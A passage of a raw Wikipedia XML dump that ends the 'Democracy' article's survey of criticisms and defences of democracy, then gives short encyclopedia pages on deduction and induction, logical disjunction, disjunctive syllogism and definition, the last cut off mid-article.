A persistent [[libertarianism|libertarian]] and [[monarchism|monarchist]] critique of democracy is the claim that it encourages the elected representatives to change the law without necessity, and in particular to pour forth a flood of new laws. This is seen as pernicious in several ways. New laws constrict the scope of what were previously private liberties. Rapidly changing laws make it difficult for a willing non-specialist to remain law-abiding. This may be an invitation for law-enforcement agencies to misuse power. The claimed continual complication of the law may be contrary to a claimed simple and eternal [[natural law]] - although there is no consensus on what this natural law is, even among advocates.

Democracies are also criticised for a claimed slowness and complexity of their decision-making.

===Short-term focus===
Modern liberal democracies, by definition, allow for regular changes of government. That has led to a common criticism of their short-term focus. In four or five years the government will face a new election, and it must think of how it will win that election. That would encourage a preference for policies that will bring short term benefits to the electorate (or to self-interested politicians) before the next election, rather than unpopular policy with longer term benefits. This criticism assumes that it is possible to make long term predictions for a society, something [[Karl Popper]] has criticized as [[historicism]].

Besides the regular review of governing entities, short-term focus in a democracy could also be the result of collective short-term thinking. For example, consider a campaign for policies aimed at reducing environmental damage while causing temporary increase in unemployment. However, this risk applies also to other political systems.

=== Public choice theory===
[[Public choice theory]] is a branch of [[economics]] that studies the decision-making behavior of voters, politicians and government officials from the perspective of economic theory. One studied problem is that each voter has little influence and may therefore have a [[rational ignorance]] regarding political issues. This may allow [[special interest]] groups to gain [[subsidy|subsidies]] and regulations beneficial to them but harmful to society.

===Plutocracy===
The cost of political campaigning in representative democracies may mean that the system favours the rich, a form of [[plutocracy]] who may be a very small minority of the voters. In Athenian democracy, some public offices were [[random]]ly allocated to citizens, in order to inhibit the effects of plutocracy. Modern democracy may also be regarded as a dishonest farce used to keep the masses from getting restless, or a [[conspiracy]] for making them restless for some political agenda. It may encourage candidates to make deals with wealthy supporters, offering favorable legislation if the candidate is elected - perpetuating [[conspiracy|conspiracies]] for [[monopoly|monopolization]] of key areas. However, United States economist [[Steven Levitt]] claims in his book [[Freakonomics]], that campaign spending is no guarantee of electoral success. He compared electoral success of the same pair of candidates running against one another repeatedly for the same job, as often happens in United States Congressional elections, where spending levels varied. He concludes:

:&quot;A winning candidate can cut his spending in half and lose only 1 percent of the vote. Meanwhile, a losing candidate who doubles his spending can expect to shift the vote in his favor by only that same 1 percent.&quot;

Ownership of the media by the few may lead to more specific distortion of the electoral process, since the media are themselves a vital element of that process. Some critics argue that criticism of the [[status quo]] or a particular agenda tends to be suppressed by such media cartels, to protect their own self-interests. Proponents respond that constitutionally protected [[freedom of speech]] makes it possible for both for-profit and non-profit organizations to debate the issues. They argue that media coverage in democracies simply reflects public preferences, and does not entail censorship.

===Majoritarianism===
{{main|majoritarianism}}

[[Thomas Jefferson]] is quoted to have said: &quot;A democracy is nothing more than [[mob rule]], where fifty-one percent of the people may take away the rights of the other forty-nine.&quot; Probably the most quoted criticism of democracy is the fear that it is &quot;tyranny of the majority&quot;. The expression was coined by [[Alexis de Tocqueville]] in his book, [[Democracy in America]], written in 1831. However the phrase is more popularly attributed to [[John Stuart Mill]]'s [[On Liberty]], written in 1859 &amp;mdash;not then referring to democratic government, but to social [[Conformity (psychology)|conformity]]. However, the issue of majority dominance was not unknown to ancient Greek democracies. It is independent of [[universal suffrage]], but it implies a broad [[Suffrage|franchise]], otherwise there would be conflicting minorities. It can apply in both [[direct democracy]] or [[representative democracy]]. &quot;Tyranny of the majority&quot; implies that a government reflecting the majority view can take action that oppresses a particular minority. Typically, this majority is really only a relative majority of the voters and therefore only a minority. It may therefore be argued that one minority tyrannizes another minority in the name of the majority. This politically active and dominant group might decide that a certain minority, such as a religion, political belief, or those with minority views, should be criminalised, either directly or indirectly. This undermines the idea of democracy as an empowerment of the electorate as a whole.

Possible examples include:
*several European countries have introduced bans on personal religious symbols. This ban is perceived by some to be aimed at those considered symbolic of [[Islamism]] - the [[hijab]] or 'Islamic headscarf', the [[burqa]], the [[niqaab]]. In France, they are banned in public schools under the [[French law on secularity and conspicuous religious symbols in schools|law on secularity and conspicuous religious symbols]]. Opponents see this as a violation of rights to freedom of religion.
*prohibition of [[pornography]] is typically determined by what the majority is prepared to accept. In the [[United States]] distribution of pornography is declared illegal if the material violates &quot;[[community standards]]&quot; of decency.
*the law on [[abortion]] is typically determined by the religious attitudes of the majority. For &quot;[[pro-life]]&quot; (anti-abortion) activists, unborn children are an oppressed, helpless and disenfranchised minority, and a ban on abortion is a proper use of state power.
*[[recreational drug use]] is also typically legalised (or at least tolerated) to the degree that the majority finds acceptable. Users may see themselves as an oppressed minority, victims of unjustifiable [[War on Drugs|criminalisation]]. 
*society's treatment of [[homosexuality|homosexuals]] is also cited in this context. Homosexual acts were widely criminalised in democracies until several decades ago; in some democracies they still are, reflecting the religious or sexual mores of the majority.
*[[Slavery]] of a particular race or ethnicity can occur as a result of majority rule if the majority is of a unified race.
*in the United States, the [[conscription|draft]] early in the [[Vietnam War]] was criticised as oppression of a disenfranchised minority, 18 to 21 year olds. In response to this, the draft age was raised to 19 and the voting age was lowered nationwide (along with the drinking age in many states). While no longer disenfranchised, those subject to the draft remained significantly outnumbered.
*the majority often taxes the minority who are wealthy at [[progressive tax|progressively higher rates]], with the intention that the wealthy will incur a larger tax burden for social purposes. However, this is generally offset to some degree, by their better access to relevant expert advice (tax consultants and lawyers).
*in prosperous western democracies, the poor form a minority of the population, and may be disadvantaged by a majority who resent transfer taxation. Especially when they form a distinct [[underclass]], the majority may use the democratic process to, in effect, withdraw the protection of the [[state]]. 
*classical Athenian democracy executed [[Socrates]] for [[impiety]], i.e., for [[dissent]], although the relevance of this example to contemporary democracy is itself a matter of dispute.
*An often quoted example of the 'tyranny of the majority' is that [[Adolf Hitler]] came to power by legitimate democratic procedures. The [[Nazi]] party gained the largest share of votes in the democratic [[Weimar republic]] in [[1933]]. Some might consider this an example of &quot;tyranny of a minority&quot; since he never gained a majority vote, but it is common for a [[plurality]] to exercise power in democracies, so the rise of Hitler can not be considered irrelevant. However, his regime's large-scale human rights violations took place after the democratic system had been abolished. Also, the Weimar constitution in an &quot;emergency&quot; allowed dictatorial powers and suspension of the essentials of the constitution itself without any vote or election, something not possible in most liberal democracies.

Proponents of democracy make a number of defences concerning 'tyranny of the majority'. One is to argue that the presence of a [[constitution]] in many democratic countries acts as a safeguard. Generally, changes in these constitutions require the agreement of a [[supermajority]] of the elected representatives, or require a judge and jury to agree that evidentiary and procedural standards have been fulfilled by the state, or two different votes by the representatives separated by an election, or, sometimes, a [[referendum]]. These requirements are often combined. The [[separation of powers]] into [[legislative branch]], [[executive branch]], [[judicial branch]] also makes it more difficult for a small majority to impose their will. This means a majority can still legitimately coerce a minority (which is still ethically questionable), but such a minority would be very small and, as a practical matter, it is harder to get a larger proportion of the people to agree to such actions.

Another argument is that majorities and minorities can take a markedly different shape on different issues. People often agree with the majority view on some issues and agree with a minority view on other issues. One's view may also change. Thus, the members of a majority may limit oppression of a minority since they may well in the future themselves be in a minority.

A third common argument is that, despite the risks, majority rule is preferable to other systems, and the tyranny of the majority is in any case an improvement on a tyranny of a minority. Proponents of democracy argue that empirical statistical evidence strongly shows that more democracy leads to less internal violence and [[democide]]. This is sometimes formulated as [[Rummel's Law]], which states that the less democratic freedom a people have, the more likely their rulers are to murder them.

===Political stability===
One argument for democracy is that by creating a system where the public can remove administrations, without changing the legal basis for government, democracy aims at reducing political uncertainty and instability, and assuring citizens that however much they may disagree with present policies, they will be given a regular chance to change those who are in power, or change policies with which they disagree. This is preferable to a system where political change takes place through violence.

Some think that political stability may be considered as excessive when the group in power remains the same for an extended period of time. On the other hand, this is more common in nondemocracies.

===Effective response in wartime===
A pluralist democracy, by definition, implies that power is not concentrated. One criticism is that this could be a disadvantage for a state in [[war]]time, when a fast and unified response is necessary. The legislature usually must give consent before the start of an offensive military operation, although sometimes the executive can do this on its own while keeping the legislature informed. If the democracy is attacked, no consent is usually required for defensive operations. The people may vote against a [[conscription]] army. Monarchies and dictatorships can in theory, act immediately and forcefully.

However, actual research shows that democracies are more likely to win wars than non-democracies. One explanation is attributes this primarily to &quot;the transparency of the polities, and the stability of their preferences, once determined&quot; by which &quot;democracies are better able to cooperate with their partners in the conduct of wars&quot;. Other research attributes this to superior mobilisation of resources, or selection of wars with a high chance of winning.&lt;ref&gt;Ajin Choi, (2004). &quot;Democratic Synergy and Victory in War, 1816–1992&quot;. ''International Studies Quarterly'', Volume 48, Number 3, September 2004, pp. 663-682(20). {{doi|10.1111/j.0020-8833.2004.00319.x}} &lt;/ref&gt;

===Corruption===
Research by the [[World Bank]] suggests that political institutions are extremely important in determining the prevalence of [[corruption]]: democracy, parliamentary systems, political stability, and freedom of the press are all associated with lower corruption &lt;ref&gt;
Daniel Lederman, Normal Loaza, Rodrigo Res Soares, (November 2001). [http://papers.ssrn.com/sol3/papers.cfm?abstract_id=632777 &quot;Accountability and Corruption: Political Institutions Matter&quot;]. ''World Bank Policy Research Working Paper No. 2708''. SSRN 632777. Accessed [[February 19]], [[2006]].&lt;/ref&gt;.

===Poverty and famine===
{{npov-section}}
Statistically more democracy correlates with a higher [[GDP]] per capita, a higher score on the [[human development index]] and a lower score on the human poverty index.

However, there is disagreement regarding how much credit the democratic system can take for this. Various theories have been put forth, all of them controversial. One observation is that democracy became widespread only after the [[industrial revolution]] and the introduction of [[capitalism]]. Evidence in [[peer review]]ed statistical studies support the theory that more capitalism, measured for example with one the several [[Index of Economic Freedom|Indices of Economic Freedom]] which has been used in hundreds of studies by independent researchers &lt;ref&gt;Free the World. [http://www.freetheworld.com/papers.html Published Work Using Economic Freedom of the World Research], accessed [[February 19]], [[2006]].&lt;/ref&gt;, increases [[economic growth]] and that this in turn increases general prosperity, reduces poverty, and causes [[democratization]]. This is a statistical tendency, and there are individual exceptions like [[India]], which is democratic but arguably not prosperous, or [[Brunei]], which has a high GDP but has never been democratic. There are also other studies suggesting that more democracy increases economic freedom although a few find no or even a small negative effect. &lt;ref&gt;Nicclas Bergren, (2002). [http://www.ratioinstitutet.nu/pdf/wp/nb_efi.pdf &quot;The Benefits of Economic Freedom: A Survey&quot;] . Accessed [[February 19]], [[2006]]. &lt;/ref&gt; &lt;ref&gt;John W. Dawson, (1998). [http://www.eh.net/bookreviews/library/0102.shtml &quot;Review of Robert J. Barro, Determinants of Economic Growth: A Cross-Country Empirical Study&quot;]. ''Economic History Services''. Accessed [[February 19]], [[2006]].&lt;/ref&gt; &lt;ref&gt;W. Ken Farr, Richard A. Lord, J. Larry Wolfenbarger, (1998). [http://catoinstitute.org/pubs/journal/cj18n2/cj18n2-5.pdf &quot;Economic Freedom, Political Freedom, and Economic Well-Being: A Causality Analysis&quot;]. ''Cato Journal'', Vol 18, No 2.&lt;/ref&gt;&lt;ref&gt;Wenbo Wu, Otto A. Davis, (2003). [http://www.spp.nus.edu.sg/docs/wp/wp48.pdf &quot;Economic Freedom and Political Freedom&quot;.] ''Encyclopedia of Public Choice''. [[Carnegie Mellon University]], [[National University of Singapore]]. &lt;/ref&gt;&lt;ref&gt;Ian Vásquez, (2001). [http://www.cato.org/research/articles/vas-0109.html &quot;Ending Mass Poverty&quot;]. [[Cato Institute]]. Accessed [[February 19]], [[2006]].&lt;/ref&gt; &lt;ref&gt;Susanna Lundström, (April 2002). [http://smye2002.univ-paris1.fr/program/paper/b5_lun.pdf &quot;The Effects of Democracy on Different Categories of Economic Freedom&quot;]. Accessed [[February 19]], [[2006]].&lt;/ref&gt; One objection might be that nations like [[Sweden]] and [[Canada]] today score just below nations like [[Chile]] and [[Estonia]] on economic freedom but that Sweden and Canada today have a higher GDP per capita. However, this is a misunderstanding, the studies indicate effect on economic growth and thus that future GDP per capita will be higher with higher economic freedom. It should also be noted that Sweden and Canada are among the world's most capitalist nations according to the index, due to factors such as strong [[rule of law]], strong [[property rights]], and few restrictions against [[free trade]]. Critics might argue that the Index of Economic Freedom and other methods used does not measure the degree of capitalism, preferring some other definition. 

It should be noted that [[Correlation implies causation (logical fallacy)|correlation is not causation]] - in other words, if two events happen at the same time, for example democracy and lack of famine, that does not mean that one must cause the other. However, such a causation has been established in some studies of the Index of Economic Freedom and democracy, as noted above.

Even if economic growth has caused democratization in the past, it may not do so in the future. Some evidence suggests that savvy autocrats may have learned how to cut the cord between growth and freedom, enjoying the benefits of the former without the risks of the latter. &lt;ref&gt;Bruce Bueno de Mesquita, George W. Downs, (2005). [http://www.foreignaffairs.org/20050901faessay84507/bruce-bueno-de-mesquita-george-w-downs/development-and-democracy.html &quot;Development and Democracy&quot;]. ''Foreign Affairs'', September/October 2005.&lt;/ref&gt; &lt;ref&gt;Joseph T. Single, Michael M. Weinstein, Morton H. Halperin, (2004). [http://www.nytimes.com/cfr/international/20040901facomment_v83n4_siegle-weinstein-halperin.html &quot;Why Democracies Excel&quot;]. ''Foreign Affairs'', September/October 2004.&lt;/ref&gt;

A prominent economist, [[Amartya Sen]], has noted that no functioning democracy has ever suffered a large scale [[famine]] &lt;ref&gt;[[Amartya Sen]], (1999). [http://muse.jhu.edu/demo/jod/10.3sen.html &quot;Democracy as a Universal Value&quot;]. ''Journal of Democracy'', 10.3, 3-17. Johns Hopkins University Press.&lt;/ref&gt; This includes democracies that have not been very prosperous historically, like [[India]], which had its last great famine in  [[1943]] and many other large scale famines before that in the late nineteenth century, all under British rule. However, some others ascribe the [[Bengal famine of 1943]] to the effects of [[World War II]]. The government of India had been becoming progressively more democratic for years. Provincial government had been entirely so since the [[Government of India Act 1935|Government of India Act of 1935]].

===Democratic peace theory===
{{main|Democratic peace theory}}

Numerous studies using many different kinds of data, definitions, and statistical analyses have found support for the democratic peace theory. The original finding was that liberal democracies have never made war with one another. More recent research has extended the theory and finds that democracies have few ''[[Militarized Interstate Disputes]]'' (MIDs) causing less than 1000 battle deaths with one another, that those MIDs that have occurred between democracies have caused few deaths, and that democracies have few [[civil wars]].

There are various criticisms of the theory, including specific historic wars and that correlation is not causation.

===Democide===
Research shows that the more democratic nations have much less [[democide]] or murder by government.

===Happiness===
More democracy is associated with a higher average self-reported happiness in a nation. &lt;ref&gt;R.J. Rummel, (2006). [http://freedomspeace.blogspot.com/2006/02/happiness-this-utilitarian-argument.html Happiness -- This Utilitarian Argument For Freedom Is True]. Accessed [[February 22]], [[2006]]. &lt;/ref&gt;
these are the democracy so far

==References==
===Citations===
&lt;references/&gt;

===General references===
*Harald Müller, Jonas Wolff (2004): ''Dyadic Democratic Peace Strikes Back: Reconstructing the Social Constructivist Approach After the Monadic Renaissance.'' (Paper, 5th Pan-European International Relations Conference, The Hague, September 9-11, 2004).
*Emerson P J. ''Beyond the Tyranny of the Majority'' compares most of the more common voting procedures used in both decision-making and elections; while ''Defining Democracy'' looks at both the historical and current practice in decision-making, elections, and governance.

==External links==
{{wikiquote}} 
{{wiktionarypar|democracy}}
*[http://www.press.jhu.edu/journals/journal_of_democracy/index.html Journal of Democracy]
*[http://www.dmoz.org/Society/Politics/Democracy/ Democracy] in the [[Open Directory Project]]
*[http://etext.lib.virginia.edu/cgi-local/DHI/dhi.cgi?id=dv1-78 Dictionary of the History of Ideas: Democracy]
*[http://www.democracywatch.org Democracy Watch (International)] &amp;mdash; Worldwide democracy monitoring organization.
*[http://topics.developmentgateway.org/governance dgGovernance] &amp;mdash; Collection of resources on key issues of democracy and nation-building
*[http://gsociology.icaap.org/report/polsum.html Brief review of trends in political change: freedom and conflict].
*[http://www.constitution.org/fed/federa10.htm ''The Federalist No. 10'' by James Madison]
*[http://www.nytimes.com/cfr/international/20040901facomment_v83n4_siegle-weinstein-halperin.html New York Times argument against the &quot;Development first, democracy later&quot; idea]
*[http://www.fareedzakaria.com/articles/other/democracy.html ''The Rise of Illiberal Democracy''] by Fareed Zakaria
*[http://www.idea.int/ The International Institute for Democracy and Electoral Assistance]

'''Critique'''
*[http://www.gegenstandpunkt.com/english/state/toc.html The Democratic State - A Critique of Bourgeois Sovereignty]
*[http://www.riff-raff.se/en/7/undemocracy.php Riff-Raff] &amp;mdash; Democracy as the Community of Capital - A Provisional Critique of Democracy
*[http://web.inter.nl.net/users/Paul.Treanor/democracy.html Why democracy is wrong]
*[http://www.lewrockwell.com/hoppe/hoppe4.html ''Democracy, The God That Failed'' by Hans-Hermann Hoppe]
*[http://www.conservativeclassics.com/books/libertybk/BK08.PDF ''Liberty or Equality'' by Erik von Kuehnelt-Leddihn]
*[http://www.enterstageright.com/archive/articles/0105/0105churchilldem.htm ''Churchill on Democracy Revisited'' by J.K. Baltzersen]
*[http://thechinadesk.tripod.com/democracy_the_worst_form_of_government_ever_tried.htm Democracy, the Worst Form of Government ever Tried]
*[http://jeffryfisher.net/Statesman/ElectionLaw/Democracy.htm ''Democracy is More Than Just Voting'']

'''Alternatives and improvements''' - see also [[e-democracy]], [[Internet democracy]], and [[Futarchy]]
*[http://www.panarchy.org/anonymous/democracy.1962.html Democracy with a small &quot;d&quot;]
*[http://www.globalpublic.org Advancing Ethics &amp; Democracy]
*[http://www.greens.org/s-r/36/36-22.html Democratic Deficit]
*[http://xroads.virginia.edu/~DRBR/lowell2.html ''On Democracy'' by James Russell Lowell]
*[http://www.opendemocracy.net openDemocracy] &amp;mdash; Global democracy network using information, participation and debate to empower citizens.
*[http://simpol.org simpol.org] &amp;mdash; Plan to limit global competition and facilitate the emergence of a sustainable, sane global civilization.
*[http://www.sfgd.org Students for Global Democracy]
*[http://democraticthinking.blogspot.com Collection of articles discussing democracy in online media]
*[http://wiki-law.org/mwiki/index.php?title=Democracy_2.0:_Main_Page Democracy 2.0]

[[Category:Democracy]]
[[Category:Elections]]
[[Category:Forms of government]]

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[[pt:Democracia]]
[[ru:Демократия]]
[[sh:Demokracija]]
[[simple:Democracy]]
[[sk:Demokracia]]
[[sl:Demokracija]]
[[fi:Demokratia]]
[[sv:Demokrati]]
[[th:ประชาธิปไตย]]
[[vi:Dân chủ]]
[[tr:Demokrasi]]
[[uk:Демократія]]
[[zh:民主]]
[[ki:Ndemookirathĩ]]</text>
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  </page>
  <page>
    <title>Deduction and induction</title>
    <id>7960</id>
    <revision>
      <id>33011711</id>
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      <contributor>
        <username>Bachrach44</username>
        <id>304397</id>
      </contributor>
      <minor />
      <comment>link repair ([[Wikipedia:Bad links|You can help!]])</comment>
      <text xml:space="preserve">See 

*[[deductive logic]] and [[Induction (philosophy)|inductive reasoning]]
*[[validity]] and [[cogency]]
*[http://www.socialresearchmethods.net/kb/dedind.htm Deduction &amp; Induction]

{{disambig}}</text>
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    <title>Documentary Film</title>
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      <contributor>
        <ip>Conversion script</ip>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Documentary film]]
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  </page>
  <page>
    <title>Logical disjunction</title>
    <id>7962</id>
    <revision>
      <id>41957035</id>
      <timestamp>2006-03-02T21:48:55Z</timestamp>
      <contributor>
        <ip>132.248.36.43</ip>
      </contributor>
      <text xml:space="preserve">[[Image:ORGate.png|thumb|right|150px|OR [[logic gate]].]]
In [[mathematics]], '''logical disjunction''' (usual symbol '''or''') is a [[logical operator]] that results in true if either of the operands is true.

==Definition==
In [[logic]] and [[mathematics]], a '''disjunction''' is an &quot;or statement&quot;. For example &quot;John skis or Sally swims&quot; is a disjunction.

Note that in everyday language, use of the word &quot;or&quot; can sometimes mean &quot;either, but not both&quot; (e.g., &quot;would you like tea or coffee?&quot;). In logic, this is called an [[Exclusive disjunction|&quot;exclusive disjunction&quot;]] or &quot;exclusive or&quot; (xor).  When used formally, &quot;or&quot; allows for both parts of the or statement (its ''disjuncts'') to be true (&quot;and/or&quot;), therefore &quot;or&quot; is also called ''inclusive disjunction''.{{rf|1|Boole}}

For two inputs A and B, the [[truth table]] of the function is as follows. 

{| class=&quot;wikitable&quot; 
! A !! B !! A or B
|- align=center
| F || F || F
|- align=center
| F || T || T
|- align=center
| T || F || T
|- align=center
| T || T || T
|}

More generally a disjunction is a logical formula that can have one or more [[literal]]s separated only by ORs. A single literal is often considered to be a degenerate disjunction.

==Symbol==
The mathematical symbol for logical disjunction varies in the literature. In addition to the abbreviation &quot;or&quot;, one may see
*a vee (&quot;&amp;or;&quot;, or ''&amp;amp;#x2228;'') is typically used for disjunction. For example: &quot;''A'' &amp;or; ''B''&quot; is read as &quot;''A'' or ''B''&quot;. Such a disjunction is false if both ''P'' and ''Q'' are false. In all other cases it is true.

All the following are disjunctions:
''A'' &amp;or; ''B''&lt;p&gt;
¬''A'' &amp;or; ''B''&lt;p&gt;
''A'' &amp;or; ¬''B'' &amp;or; ¬''C'' &amp;or; ''D'' &amp;or; ¬''E''&lt;p&gt;
The equivalent notion in set theory is the [[union (set theory)|set-theoretic union]].

==Associativity and Commutativity==
For more than two inputs, ''or'' can be applied to the first two inputs, and then 
the result can be ''or'ed'' with each subsequent input:

:(''A'' or (''B'' or ''C'')) &amp;hArr; ((''A'' or ''B'') or ''C'')

Because or is [[Associativity|associative]], the order of the inputs does not matter: the same result will be obtained regardless of association.

The operator xor is also [[Commutativity|commutative]] and therefore the order of the operands is not important:

:''A'' or ''B''  &amp;hArr; ''B'' or ''A''

==Bitwise operation==
Disjunction is often used for bitwise operations. Examples:

* 0 or 0 = 0
* 0 or 1 = 1
* 1 or 0 = 1
* 1 or 1 = 1
* 1010 or 1110 = 1110

Note that in computer science the OR operator can be used to set a [[bit]] to 1 by OR-ing the bit with 1.

== Union ==
The [[union (set theory)|union]] used in [[set theory]] is defined in terms of a logical disjunction: ''x'' ∈ ''A'' ∪ ''B'' if and only if (''x'' ∈ ''A'') ∨ (''x'' ∈ ''B'').  Because of this, logical disjunction satisfies many of the same identities as set-theoretic union, such as associativity, commutativity, distributivity, and [[de Morgan's laws]].

==Note==
{{ent|1|Boole}} [[Boole]], closely following analogy with ordinary mathematics, premised, as a necessary condition to the definition of &quot;x + y&quot;, that x and y were mutually exclusive.  [[Jevons]], and practically all mathematical logicians after him, advocated, on various grounds, the definition of &quot;logical addition&quot; in a form which does not necessitate mutual exclusiveness.

==See also==
* [[Boolean algebra]]
*[[logical conjunction|AND]]
*[[logical nand|NAND]]
*[[logical nor|NOR]]
*[[exclusive or|XOR]]
*[[exclusive nor|XNOR]]

==External links==
* [http://plato.stanford.edu/entries/disjunction/ Stanford Encyclopedia of Philosophy entry]
* [http://mathworld.wolfram.com/Disjunction.html Eric W. Weisstein. &quot;Disjunction.&quot; From MathWorld--A Wolfram Web Resource]

[[Category:Logic]]
[[Category:Binary operations]]

[[bg:Дизюнкция]]
[[de:Disjunktion]]
[[es:Disyunción lógica]]
[[et:Disjunktsioon]]
[[fr:Disjonction logique]]
[[id:Logika disjungsi]]
[[he:OR לוגי]]
[[nl:Logische disjunctie]]
[[no:Inklusiv disjunksjon]]
[[ja:論理和]]
[[pl:Alternatywa]]
[[pt:Disjunção lógica]]
[[sk:Disjunkcia (logika)]]
[[sv:Logisk disjunktion]]
[[th:การเลือกเชิงตรรกศาสตร์]]
[[uk:Диз'юнкція]]</text>
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  </page>
  <page>
    <title>Disjunctive syllogism</title>
    <id>7963</id>
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        <username>Rich Farmbrough</username>
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      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">A '''disjunctive syllogism''', also known as '''modus tollendo ponens''' (literally: ''mode which, by denying, affirms'') is a [[validity|valid]], simple [[argument form]]:

: P or Q
: Not P
: Therefore, Q

In [[logical operator]] notation:
:&lt;math&gt; p \lor q, &lt;/math&gt;
:¬ &lt;math&gt; p \quad&lt;/math&gt;
:&lt;math&gt; \vdash q &lt;/math&gt;
where &lt;math&gt;\vdash&lt;/math&gt; represents the [[logical assertion]].

Roughly, we are told that it has to be one or the other that is true; then we are told that it is not the one that is true; so we infer that it has to be the other that is true.  The reason this is called &quot;disjunctive syllogism&quot; is that, first, it is a [[syllogism]]--a three-step argument--and second, it contains a [[disjunction]], which means simply an &quot;or&quot; statement.  &quot;Either P or Q&quot; is a disjunction; P and Q are called the statement's ''disjuncts''.

Here is an example:
:Either I will choose soup or I will choose salad.
:I will not choose soup.
:Therefore, I will choose salad.

Here is another example:
:Either the Browns win or the Bengals win.
:The Browns do not win.
:Therefore, the Bengals win.

==Inclusive versus exclusive disjunction==

It should be noted with importance that there are two kinds of logical disjunction:

* ''[[logical disjunction|inclusive]]'' means &quot;and/or&quot; where at least one term must be true or they can both be true.
* ''[[xor|exclusive]]'' (&quot;xor&quot;) means one must be true and the other must be false. Both terms cannot be true and both cannot be false.

The popular English language concept of ''or'' is often ambiguous between these two meanings, but the difference is pivotal in evaluating disjunctive arguments.

This argument:
:Either P or Q.
:Not P.
:Therefore, Q.

is valid and indifferent between both meanings. However, only in the ''exclusive'' meaning is the following form valid:

:Either P or Q (exclusive).
:P.
:Therefore, not Q.

With the ''inclusive'' meaning you could draw no conclusion from the first two premises of that argument. See [[affirming a disjunct]].

==Related argument forms==

Unlike [[modus ponendo ponens]] and [[modus tollendo tollens]], with which it should not be confused, modus tollendo ponens is often not made an explicit rule or axiom of logical systems, as the above arguments can be proven with a (slightly devious) combination of [[reductio ad absurdum]] and [[disjunction elimination]].

Modus tollendo ponens should also not be confused with [[modus ponendo tollens]].

''Other forms of syllogism:'' 
*[[hypothetical syllogism]]
*[[categorical syllogism]]

==External links==

* [http://logik.phl.univie.ac.at/~chris/beispielskriptum/node7.html Proof of MTP]

[[Category:Rules of inference]]
[[zh:选言三段论]]</text>
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  <page>
    <title>Definition</title>
    <id>7964</id>
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      </contributor>
      <comment>cat</comment>
      <text xml:space="preserve">{{otheruses}}

A '''definition''' aims to describe or delimit the [[meaning]] of some term (a word or a phrase) by giving a statement of essential [[Property (philosophy)|properties]] or [[Characteristic|distinguishing characteristics]] of the [[concept]], [[entity]], or kind of entity, denoted by that term. The concept or (kind of) entity being defined in a definition is called (from [[Latin]]) the ''definiendum''; the expressions or words used to define it are called the ''definiens''. For example, in ''A bachelor is an unmarried man'', the definiendum is ''bachelor'', and the definiens ''unmarried man''. Often, as in this example, the statement takes the form of expressing the equivalence between the definiendum and the definiens.

==Kinds of definition==
A number of different kinds and techniques of definition can be distinguished, including:

*A dictionary definition or [[lexical definition]] reports the meaning of a word or expression as it is normally used, ''usually'' by supplying an (approximately) equivalent expression in which the original word does not occur.  For example, ''bachelor'' might be defined as ''an unmarried man''; and ''fry'' as ''to cook in hot oil''. (Notice the addition of &quot;an&quot; and &quot;to&quot; in each case, so that the defining expression is not perfectly inter-substitutable with the original: You can say ''John is a bachelor'', but not ''John is '''a an''' unmarried man''. This is normal practice, and is done simply for ease of reading.)  With some words, like ''the'' and ''if'', which cannot be effectively paraphrased, dictionaries will often describe their proper use without offering an equivalent expression.

*[[Contextual definition]]  Some words cannot be clearly defined on their own, but it is possible to offer a schema for defining every sentence in which they occur--that is, a way of replacing every sentence containing the expression with another sentence not containing the expression.  Russell's famous [[Theory of Descriptions]] was an attempt (now widely believed to be incorrect) to do this for all [[definite descriptions]]&amp;mdash;expressions of the form ''the (unique) x''.  On Russell's account, any sentence containing (for example) the expression &quot;the present king of France&quot; was to be rearranged like this: ''The present king of France is bald'' means ''There is exactly one thing which is currently a king of France, and that thing is bald''.  Notice that the defined expression, a noun phrase, is replaced by a sentence (''There is . . . France'') '''and''' a noun phrase (''that thing'') which appears in the position of the original.

*An [[intensional definition]] specifies all and only the properties required of something in order that falls under the term defined (its [[necessary condition|necessary]] and [[sufficient condition|sufficient]] conditions).  This, like the following is typically used to characterize ways of specifying [[Set theory|sets]].  For example, ''the set of primes less than 20'', or {x:x is prime and x &lt; 20}, is an intensional definition of a set.

*An [[extensional definition]] lists everything that the defined term actually applies to (its ''extension'').  Like the above, this is often used in charactizing definitions of sets: {2, 3, 5, 7, 11, 13, 17, 19} is an extensional definition of the same set as mentioned there.  Note that extensional definitions cannot be used to specify infinite sets (all the prime numbers, say).  They are also not [[counterfactual]]ly robust: If you &quot;define&quot; dog by making a list of all the dogs, then you will not have any grounds for deciding whether some newly encountered animal would be a dog.

*An [[ostensive definition]] gives the meaning of a term by pointing out the thing denoted by it, or pointing out examples of the kind of thing meant by it.  So you can explain who Jones is by pointing him out to me; or what a dog is by pointing at several and expecting me to &quot;catch on.&quot;

*[[Operational definition]] &quot;of a quantity is a specific process whereby it is measured.&quot;

*A [[theoretical definition]] &quot;gives the meaning of a word in terms of the theories of a specific discipline.&quot;

*A [[definition by genus and difference]] &quot;is one in which a word or concept that indicates a species -- a specific type of item, not necessarily a biological category -- is described first by a broader category, the genus, then distinguished from other items in that category by differentia.&quot;

* A [[recursive definition]] or [[inductive definition]] is one that defines a word in terms of itself, so to speak, albeit in a useful way.  Normally this consists of two (or three) steps: (I) Several specific objects (a &quot;base set&quot;) are stated to fall under the term X being described. (II) All and only the things bearing a certain relation to members of X are also stated to be members of X.  For instance, we could define [[natural number]] as folows: (I) 1 is a natural number.  (II) The successor of a natural number is also a natural number, and nothing else is.  (&quot;Nothing else is&quot;, the closure step, is sometimes considered a separate step.)  For this to work well, the definition in any given case must be well-founded, avoiding a circle or an infinite regress. (See the following.)

*A [[circular definition]] is one that assumes a prior understanding of the term being defined. For instance, we can define &quot;oak&quot; as a tree which has catkins and grows from an acorn, and then define &quot;acorn&quot; as the nut produced by an oak tree. To someone not knowing either which trees are oaks or which nuts are acorns, the definition is usually fairly useless. (see [[tautology]])

*A [[stipulative definition]] is the specification of a meaning adopted or assumed specifically for the purposes of argument or discussion in a given context.  For example, I might want to explain to you how [[beer]] is made, but not be sure whether [[sake]] is a kind of beer nor how it is made.  So I might stipulate at the beginning that ''By 'beer,' I mean only beer brewed from barley.''

*A [[precising definition]] &quot;is a definition that extends the dictionary definition (lexical definition) of a term for a specific purpose by including additional criteria that narrow down the set of things meeting the definition.&quot;

*A [[persuasive definition]] &quot;is a type of definition in which a term is defined in such a way as to be an argument for a particular position (as opposed to a lexical definition, which aims to be neutral to all usages), and is deceptive in that it has the surface form of a dictionary definition.&quot;

== Determining meaning: extension, intension, ambiguity, and vagueness ==
